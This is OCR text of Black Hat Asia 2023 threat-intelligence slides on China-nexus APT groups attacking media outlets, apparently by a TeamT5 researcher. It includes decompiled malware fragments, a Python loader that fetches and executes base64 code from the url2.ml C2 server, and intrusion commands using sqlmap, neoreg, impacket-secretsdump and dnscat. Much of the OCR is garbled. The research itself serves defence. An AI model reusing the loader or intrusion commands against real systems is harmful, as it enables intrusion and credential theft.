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Security Issues in Media

Emails Web Services

Social Media

Outdated Hardware and Software Information Security Staff
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Australian Chinese News Site Hit by
Cyber Attack, Media Reports

® Thousands of users affected, The Australian newspaper says
m Attack was on anniversary of Tiananmen Square massacre

Company v Q f;‘

# / Blog / Threat Insight Above the Fold and in Your Inbox: Tracing State-Aligned Activity Targeting Journalists, Media

Above the Fold and in Your Inbox: Tracing

State-Aligned Activity Targeting Journalists,
Media

Cyberattack on News Corp, Believed
Linked to China, Targeted Emails of

Journalists, Others

The attack, discovered on Jan. 20, affected units including The Wall
Street Journal, the New York Post and the U.K. news operation

By Alexandra Bruell (Follow) , Sadie Gurman (Follow] and Dustin Volz (Follow]

Updated Feb. 4,2022 1019 pmET

F) Share AA Resize

ﬂ Listen (2min)

Ransomware attacks are increasing in frequency, victim losses are skyrocketing, and hackers are shifting their
targets. WSJ's Dustin Volz explains why these attacks are on the rise and what the U.S. can do to fight them.
Photo illustration: Laura Kammermann



blgk hat

ASIA 2023




O

black hat

ASIA 2023

« Alias: Kimsuky
« Targeted Country: KR, JP, US
« TTP: Phishing, BabyShark, AFMall

CloudDragon

Interview by VOA

September

Moderator: Eunjung Cho, Journalist at Voice of America
Respondent: Suzanne Scholte, President at Defense Forum Foundation and
Chair at North Korea Freedom Coalition

Background:

On Monday, August 1, Zhang Jun, Chinese Ambassador to the UN, mentioned in the press
briefing at UN as below;

- Concerning the nuclear test of North Korea, they haven't got any confirmed information.
He said they have been told many times that there would be a nuclear test, but until
today the nuclear test has not happened.

- The US and ROK joint military exercises is one reason that causes tension in the Korean
peninsula.

- There was a stalemate in the dialogue between the parties. They hope that two parties
(US and DPRK) directly concerned will engage in serious dialogue. In particular, the
US should take concrete actions in responding to the concerns of DPRK.

- They don’t think additional sanctions will bring the situation anywhere. Instead, it will
further deteriorate the tension among parties. That’s why they are not in favor of
having additional sanctions. Also, sanctions are causing humanitarian sufferings to
the innocent people in DPRK.

Questions:

1. How would North Korea view the Ukraine crisis? How would it impact
North Korea’s foreign policies and its missile and nuclear development?

2. North Korea has been testing ballistic missiles recently. What does it
signal?

3-1. How would the Ukraine crisis affect South Korea’s foreign policies?

3-2. Russia's ally, China has an important role to play at this moment in
Russia's invasion of Ukraine and also to condemn North Korea's
continued missile tests. How can South Korea maintain the relationship
with China while strengthening cooperation with the US?

4. What kind of advice would you give to South Korea's incoming
President Yoon Suk-yeol in handling the denuclearization of the Korean
peninsula?

5. The Ukraine crisis seems to give a wide-open pathway for North
Korea to pursue an even more robust missile-testing regime without fear
of consequences from the UN Security Council. How should the
international community respond to Russia's invasion in Ukraine that
would send a strong message to North Korea?
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Home | War in Ukraine | Coronavirus | Climate | Video | World | Asia | UK | Business | Tech Chi na military rehearses ‘encircling ) Taiwan

Asia | China | India

S after US Speaker visit
Taiwan: Nancy Pelosi meets “ .
President Tsai to Beijing's fury 000®®

® 3 August 2022 n Yy = &

By Wayne Chang, Sophie Jeong, Heather Chen, Brad Lendon and Eric Cheung, CNN

Updated 10:19 AM EDT, Sat April 8, 2023

| Watch historic moment Nancy Pelosi lands in Taiwan, the first visit by such a senior US official in decades
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HUARPI
Amoeba o Huapi Goushe
aka APT41, Winnd aka BlackTech, PLEAD

SLIMEZ25 SLIMESO0 SLIMES1
aka APT24
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Amoeba

« Alias: Winnti, APT41, Barium, Wicked Panda
 Target Country: JP, TW, KR, US, HK
« Target Industry: Media, Gov, Telecom

* Multiple backdoors and custom loaders
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Amoeba
Loader: Backdoor:
 FunnySwitch -------=-=-=--=------- * FunnyDlIl
* ChatLoader (aka StealthVector) ===~ * Natwalk (aka Sidewalk)

~
~

« CobaltStrike Beacon
« KeyPlug

« ShadowPlayRAT

« ShadowPAD
 Winnti_Linux_ RAT
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JS module

—

Base64+AES
Printnightmare exploit FunnySwitch Self-modifying FunnyDil|
(CVE-2021-34527) (WinPrintSvc.dll) shellcode loader
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FunnyDII

 Packed with ConfuserEx v1.0.0
« XML configuration:

<?xml version="1.8" encoding="utf-8"?>
<Config Group="1lib" Password="test" StartTime="8" EndTime="24" WeekDays="©,1,2,3,4,5,6">
<TcpConnector address="mztfki9x.wikimedia.vip" port="443" interval="38-68"/>

</Config:>
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Signed file

c_20934.nls
Decrypt payload with chacha20

&

Service ChatLoader '\ :
SessionEnv (TSVIPSrv.dll) aclui.dll
Create process @ Find target dll

in System32 Payload

SyncHost.exe Choose aclui.dll
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Natwalk

« Alias: Sidewalk
 Hook Network Store Interface(NSI) API
* Abuse Cloudflare Worker for anti-tracking

POST https://cdn.cdnfree.workers. dev,/8ws jKViHMSKKIGYh/wWxcggUhsS446XfcGl HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/s.0 Chrome/72.0.32626.109 s5afari/537.36

gr=sid: TOmdre9SBEXe4Y JHH

gtuvid: S5A&7B8B6941DEBED13I0ED3ICZ9E7SAFS0650A0AFSADBEF4560FE333916FF98CDAL
Content-Length: 120

Host: cdn.cdnfree.workers.dev

1 0O #k D OO0 OkOp?O<
' # 00 0O Z NDOVWoO O+t S40N5= 'z 'm |10 Z O3N{~ DO Di%h .0 :5 W1 0
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KeyPlug

* Multi-protocol: HTTPS, TCP, UDP, WSS, QUIC

while ( 1 )
{
memset( , 9, sizeof( ));
if ( > 480 )
= 400;
memmove ( , VB, v9);
sub_ 180009910 ( );
if ( StrstrIA( "HTTPS://") ==
|| strstrIA( "TCP://") ==
|] StrstrIA( "UDP://™) ==
|| strstrIA(a2, "WSS://") == )
{
break;
}
++ ;

i (w6 o= v8 )

000050599 sub 180005A30:80 (180009SCS%5)

KeyPlug version 2022

if ( StrStrIA(z3, "HTTPS://") == )
{
LABEL_33:
sub 18808C9508( ¥;
return 1;
¥

~(((~(dword_180383718 * (dword_ 180383718 - 1)) & Ox3C2426FE | (dword 180383718 * (dword 180383718 - 1)) & 0x{
( | ((~(dword_ 180383718 * (dword 180383718 - 1)) & Ox3C2426FE | (dword 180383718 * (dword_ 180383718 - 1))
dword_18038371C < 10
(

— R
N —22 10 I 1

| ((~(dword 180383718 * (dword_ 1808383718 - 1)) & 0x3C2426FE | (dword_ 188383718 * (dword 180383718 - 1))
&& dword 18838371C » 9;
~ (dword_18038371C < 10) | (! && dword 18038371C »>= 10);
if ( == { ~ 1) && | ~ 1)

LABEL 24:
StrStrifA(a3, "TCP://");
StrStrifA(a3, "TCP://");
(~(~(dword_180383718 * (dword_18@383718 - 1)) & OxFFFFFFFE | (dword_18@383718 * (dword_ 180383718 - 1)) ~ 1) §
(dword 18038371C < 18) * ;

( | (! &% dword_180838371C >= 10)) ~ 1;
if ( ( & ) == 0 && == )
goto LABEL_24;
if ¢ == || strstrIA(az, "UDP://") == || strstrIa(az, "WSS://") == ||IStPStPIA( s "quic:ff“}l:: )

0004FC30 sub 180050410:135% (180050850)

KeyPlug version 2023
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ShadowPlayRAT

 PDB: C:\Users\Administrator\Desktop\name\2019.4.12\3.28\ccccc\Release\ccccce.pdb
« Set registry with name “Nvshow” for persistence

e Supporting functions:
« File operation

« Command execution

1. ..X.Sape.fdf.
a39 oeo§ dbgbep 15t byte: Opcode
.
f 2. EL T AAaO A' q } :
uacpxg y¥1bu $p 2"4~5 hyte: Compressed data size
A

$'0"

0gpYg. b. .T

Qopégéz#s"&%;éé 6™ byte~: Compressed data
LAXFv Xz.T91|. P
| S O . O . ©
015D20A8T0D FO AD BA|OD FO AD BA|0OD FU AD BA|OD FO AD BA|.0.°.0.°.0.°2.0.°
015D20B8 | 0D FO AD BA|OD FO AD BA|OD FO AD BA‘OD FO AD BA|.D.°.0.°2.08.°.0.°
015D020C8 /0D FO AD BA|0OD FO AD BA|OD FO AD BA|OD FO AD BA|.D.°9.0.°9.0.9°2.0.°
015D20D8 | 0D FO AD BA|OD FO AD BA|OD FO AD BA|OD FO AD BA|.0.°.0.°.0.°.3.°
015D20E8|0D FO AD BA|0OD FO AD BA|0OD FO AD BA|OD FO AD BA|.D.°.0.9.9.°.0.°
015D20F8|0D FO AD BA|0OD FO AD BA|OD FO AD BA|OD FO AD BA|.D.°.0.°9.0.°.d8.°
015D2108|0D FO AD BA|OD FO AD BA|OD FO AD BA|OD FO AD BA .9.0.9.0.9.0.9.0
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Huapi

Alias: PLEAD, BlackTech

Target Country: JP, TW, US, KR, HK
Target Industry: Gov, IT, Telcom
Malware

« Bifrost (aka Bifrose)

« Dbgprint (aka Waterbear)
« TSCookie
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Bifrost

* Modified RC4 Algorithm

modified RCA(rcd key, 16, ( intod)&second rcd key, 4, 223);

modified RCA((unsigned  int8& *)Mutex Name, 40, ( intod)rcd key, 16, 119);

= UpenMUtexA(d, @, Mutex Name),
if ( ) 15t modified_RC4() decrypts rc4_key with second_rc4 key
{ 2"d modified RC4() decrypts Mutex_name with rc4_key

CloseHandle(v3);
return sub_100019CC(1u, @, @);

h

else

{

modified RCA((unsigned  int8& *)Mutex Name, 40, ( inted)rcd key, 16, 137);
modified RCA(rcd key, 16, ( intod)&second rcd key, 4, 33);
00001004 ServiceMain:=5 (10001C04)

Encrypts Mutex_name and rc4_key
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Bifrost

* Anti-analysis

while ( 1 )

{
sub_100043E@(pe.th32ParentProcessID);
strepy( , "TCPVIEW");
strepy( , "ICESWORD"});
strepy( , "CPORT"});
strepy( , "WIRESHARK"});
strepy( , "NETSTAT");
strepy( , "ETHERAL");
strepy( , "XECPROBELOADER");
strepy( , "RFSCANNER"});

= strupr(pe.szExeFile);

if ( strstr(ve, )
|| (v7 = strupr(pe.szExeFile), strstr(v7, ))
|| (v8 = strupr(pe.szExeFile), strstr(vg, ))
|| (v9 = strupr(pe.szExeFile), strstr(vo, ))
] ¢ = strupr(pe.szExeFile), strstr(vio, ))
] ¢ = strupr(pe.szExeFile), strstr(vil, ))
] ¢ = strupr(pe.szExeFile), strstr(vi2, )) )
{
if ( (unsigned int)sub 108043E@8(pe.th32ParentProcessID) = )
break;
}
if ( !Process32Next( , ape) )

00003B44 sub 10004480:57 (10004744)
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Bifrost

BadeOOI’ FunCtlonS decrypt_command((int)&qword_1@3F1FCO, (int)al, a2);
switch ( * )

« Command execution |

case Bx15: // Generates random number
. . . sub_10885D7a(al);
* File manipulation = 21;

break;

case Ox82: // Send heartbeat
* Process management b 0e0IE16();
] break;
° PerS|Stence case Bx83: // Get local time
sub_10002F30(al);
break;
¢ ESGEIf (jEBIEBtEE case Bx84: // Create file (prepare for file download)
sub_10003508(z2);
break;
case Bx85: // Write file (append at end of file)
sub_10003690(a3);
break;

0004120 suk 10004D20:1 (10004D20)
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udngroups.com

Media

udntw.net

Media

rutentw.com

E-Commerce

linestw.com

T
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Goushe

Alias: APT23, Pirate Panda, KeyBoy
Target Country: IN, PH, TW, TH, VN
Target Industry: Transport, Gov, Finance

Malware:
BxShell
ReflectiveDigit (aka ChiserClient)

SmilyCommand (aka Smilesvr)
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JpgRun
» Payload specific string “EHAGBPSL”

Al lpFileName,

@xFFFFFFFFFFFFFFFF164

T =]

rO MMM
2m > T

@xFFFFFFFO, @i

memset(
strcat(
strcat(
strcatl
strcat(
strcatl
strcat(
strcat(
strcat(

v 5
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BxShell

* Loaded by JpgRun
« Variant of QL_ASD Shell found in mid 2021

--dword 13884DC3C;

Send EncryptData(al, &AES key matrix, w2l);
memset(v2l, @, sizeof(v2l));

Send _EncryptData(al, &AES key matrix, banner[2]);

Send EncryptD » ¥9, ShellPrefix);

mset(v22, |

[ Recv _Decryp

RﬁT_funEtiDn{al,'

}
while (

L
eturn 8164,
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QuasarRAT

* Open-soursed Quasar RAT with custom loader
* Decrypt payload by DES key given by arguments

private static woid (ztring[] args)

bpplication. (7;
bpplication. (falze);
if (args. '

return;

hyte[ ] byteg = . (args(0]);

ztring Wetring = Encoding. Jretstring(bytes);

string text = Application. + WY+ ; (Application.
if (! ) (text]]

return;

byvte[ ] array = new byte[new Filelnfo(text). IE
int num = DESFile. (text, array, @ztring + ".20018");
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Typosquatting domains

libertytimes.net

Media

udnnews.net

Media

twfhc.net

Financial

caaupgrade.com

Transport

ppchrome.com

E-Commerce

tw-facebook.com
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SLIME25

Alias: APT24
Target Country: Taiwan

Target Industry: Media, IT, Edu, Gov
Malware

« Dropsocks (aka DropNetClient/Buxzop)
 LuckyTask (aka LuckDLL)
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Dropsocks

* Abuse Dropbox service as C2

* File encryption/decryption with modified RC4 in different modes

for (1 =08; 1< TS
{
= (char #)( +1);5
if (_ ) J
lelse o

— Declide to use xor or add

= (v7 + 1) % 256

= & [v71;
= (unsigned __ int8)*vl15;
= ( + v8) % 256;
= & [vel;
signed _ int8)*v15) % 256];
if ( node )
else )
¥

00005310 suk 180009ES50:53 (180009F10)
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e CMmo

n-folders

001
010
011
100
101

Dropsocks

execution and file operation

Victim computerinformation
C2 command
Command output from victim
Files uploaded from victim

Files for Dropsocks to download
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Dropsocks

1. Connect to Dropbox &
create folder

—
2. Send commands
3. Get commands to Dropbox
5. Receive victim’s files Act
_ ctor
Dropscoks 4. Send output to

Dropbox
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SLIMESO

Target Country: Taiwan
Target Industry: Media, Gov

Malware:
DropCloud
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DropCloud

* Dropbox token information:
{"country": "HK", "locale": "zh-CN"}

 PDB:
C:\Users\sd\Desktop\Cloud 20170809\CloudServer\CloudServer\
obj\Release\CloudServer.pdb

* Victims:
3 Media, 1 Gov, 9 others
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private conzt string striESFasewvord =|"wwv.dropbox. comwww . dropbox. comnmm™

private const string gtriipPaseword =|"www.dropbox.con”; Z | p P aS SWO rd fO r fl | e C O m p re SS | O n

private congt string strRegPath =|"Software\\Microzofty\Windows\ \IOWE4";

= Registry path for Dropbox token

private const string ztrReglame Mindcceza";
private gtatic =ztring strClondFolder = gtring . Enpty;
private gtatic =ztring strComputerFolder = string . Enpty;
private gtatic string strDownloadFolder = string . Enpty;
private static gtring strlpleoadFolder = string.Empty;

private gtatic gtring strDownloadFolderNamne = gtring .Enpty;

private static gtring ztrlUploadFolderlamne = gtring . Enpty;

private gtatic ztring strlzerTenpFolder = 2tring . Enpty;

private static int nSleepTime 5 3000C Sleep tlme
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Function table

DropCloud

00010101
00010102
00010103
00010301
00010302
00010401
00010501
00010801
00012001
00012002
00014001

List directories
Get system info
Get service info
Get process info

Screenshot
Upload file
Download file
Delete file
Run shell command
Kill shell
Change sleep time
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DropCiloud

3. Send commands to Dropbox

<

2. Connect to Dropbox &
upload victim info to new folder

>

6. Receive victim’s files

Actor

4. Get commands

1. Store token in registry

5. Send output to Dropbox

DropCloud
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SLIMES1

Target Country: TW, IN
Target Industry: Media

TTP:
* Phishing RAR

* Python reverse shell

« go-icmp-data (Golang-based ICMP reverse shell)
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Phishing method

* Phishing with fake PDF icon

 Lure theme: Taiwan and the Czech Republic sighed a semiconductor technology
cooperation memorandum on the 23 ...

T R eE=E2AREIaHEE BELEErar - RAR 4x BHER, FHEA) 9,994,619 frtd

5,

2% A e M Rk CRC32
- BEERE
S EEES I HE R N S RS e A RS EEE L BMSERTE I KHEEREST SE=4A.. 9,994,619 0,648,291 EEEI 2022/7/27 T4 04:29 9D669EGT

> SEEBSOEESYERNESEECH ESEETHRASE. X

R BB =2t FEER LERRE

>‘ BRESETRNE] SEFCSEBRISEpdfexe
BEER FEREZET (exe)
fa Setup Application

uE: wst\Downloads\&ES=EHERTSEEE BELE(
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total, frees
whnd = ctypes.windll.kernel32.GetConsoleWindow ()
if whnd

ctypes.windll .user32.showWindow (whnd,

used, shutil.disk usage("/")

1= 10

0)
ctypes.windll.kernel32.CloseHandle (whnd)

stime=50

url = ['https://url2.ml /update

sid=str({total%l10000)

hdr = {"'User—-ZAgent':"Mozilla/s Windows NT 1 ; Win
'Accept”: "image/webp, */* ",
'Accept—-La age':"g=0.8,en-US;g=0.5,en;g=0.3",
'"BRccept—Encodl ':'"deflate, r',
'"REeferer': "https cogle.comd ",
"Length':=s1d,

}

try:
scheduler = win3Z2com.client.Dispatch(’'Scheduls.Ser
scheduler.Connect ()

except:
pass

def mythread(axcs):
fprint ("mythread...")

try:
hdr['Cockie"]=""
req = urllib.regquest.Regquest (url, headers=hdr)

response = urllib.request.urlopen(redq)
html = response.read() .decode('utf-8").=strip()

if len{html) > Z2:
fprint (base64.béd4decode (html[2:]) .decode ()
exec (basetd . béddecode (html[Z2:]) .decod= () )

1
|
¥
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C2: uri2.ml

* Fake url shortening website
Short URL

Paste the URL to be shortened

B m

Url2 mlis a free tool to shorten a URL or reduce a link
Use our URL Shortener to create a shortened link making it easy to remember

© 2022 Url2.ml - Tool to shorten a long link.
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Case study

* Dec. 2022, unknown actor exploited Taiwan media web server
« Attack from Chinese actor: yanghai
C:\Users\yanghaif, « " wem » » b-"python main.py -n 8bll32c
« Simplied Chinese in note
5] » #Mdwebshell
The remote web server leaks the following private IFP address :
10. e ni

yanghai exploited sgl vulnerability with sglmap

ff_f'xiﬁg_ﬂ_‘sqlserver, windows 2000, dns [~

u "ErRanl .I snml s Pl ™ vom b imll gamd' P "Txt_Id" ——random-agent —-—tamper "spaceZcomment.
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Case study

« Lateral movement and credential dumping:

feifellove (custom mimilove, mimikatz for windows 2000)

° NeO_Regeorg cmd.exe = ulem | 2> c:l\winnt\temphlo.e

i $$s S feifeilove 1.0 built on Dec 4 2022 14:37:43

* Impacket-secretsdump | .z ~ 3

f. "Love edition <3"

« WMIHACKER gg i: :: ﬁﬁ froe

° dnscat "$#f v #§° "FEEEE Windows 2000 only! Ry
LSASRV Credentials (M3V1 0, )

Zuthentication Id : 0 ; 24575 (00000000:00008003)

Ses=sion : UndefinedLogon
Typse from 0O

User MNames : (nmull)

Domain : (null)

Logon Time : 2022/10/18 2?2 10:34:38
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Case study

« Lateral movement and credential dumping:

* feifellove

Neo-Regeorg
* Impacket-secretsdump
« WMIHACKER

 dnscat

iid
CHEBEAIT AANTE
python3 neoreg.py -k javascript —u https:// "= == B 4 .aspx -1 0.0.0.0 -p B8E8S"
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Case study

« Lateral movement and credential dumping:
- feifeilove
* Neo-Regeorg

»  impacket-secretsdump

« WMIHACKER

 dnscat

root@fuckme:~F proxychains impacket-secretsdump sge . " "SSNN LIwE " o= I a0 0..B
ProxyChains—3.1 (http://proxvychains.=sf.net)

Impacket v0.10.0 - Copyright 2022 Secureluth Corporation
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Case study

« Lateral movement and credential dumping:
- feifeilove
* Neo-Regeorg
* Impacket-secretsdump

# - WMIHACKER

 dnscat

cscript c:\winnth\temp\w.vbs /cmd sssm = =5 = m s momem = = m ® "whoami'

cscript c:\winnthtempi\w.vbs /cmd = m s cm wm ouw om0 eu®""%"® "tasklist"
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« Lateral movement and credential dumping:

=)

feifellove
Neo-Regeorg
Impacket-secretsdump
WMIHACKER

dnscat

Case study

os—-shell> c:\winnthtemp\win3Z.e

——dns domain=ns2.

n m [E.xXyz ——secret=
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2. Deploy tools 2-a. Credential dumping
on web server » impacket-secretsdump

mm » Feifeilove (mimilove for windows 2000)

2-b. Lateral movement
* Neo-Regeorg

« WMIHACKER 3. Login with credential

to target PC
1. Sqgl injection

% CobaltStrike

yanghai 2-c. DNS tunnel for backdoor
* Dnscat
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Key Takeaways

1. APT attacks targeting media is increasing and expanding
2. China-nexus APT groups have launched massive attacks during political events

3. TTPs in cyber kill chain
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Mitigation
1. Strengthening employee cybersecurity education
2. Implementing robust security controls

3. Updating and patching software vulnerabilities

4. Regqularly conducting vulnerability scans and testing
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Yue-Tien Chen (timc@teamt5.org)

Persistent Cyber Threat Hunters

#BHASIA @BlackHatEvents
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Black Hat Sound Bytes.

1. APT attacks targeting media is increasing and expanding
2. China-nexus APT groups have launched massive attacks during political events

3. Media companies need to take more approaches to protect their systems and data.
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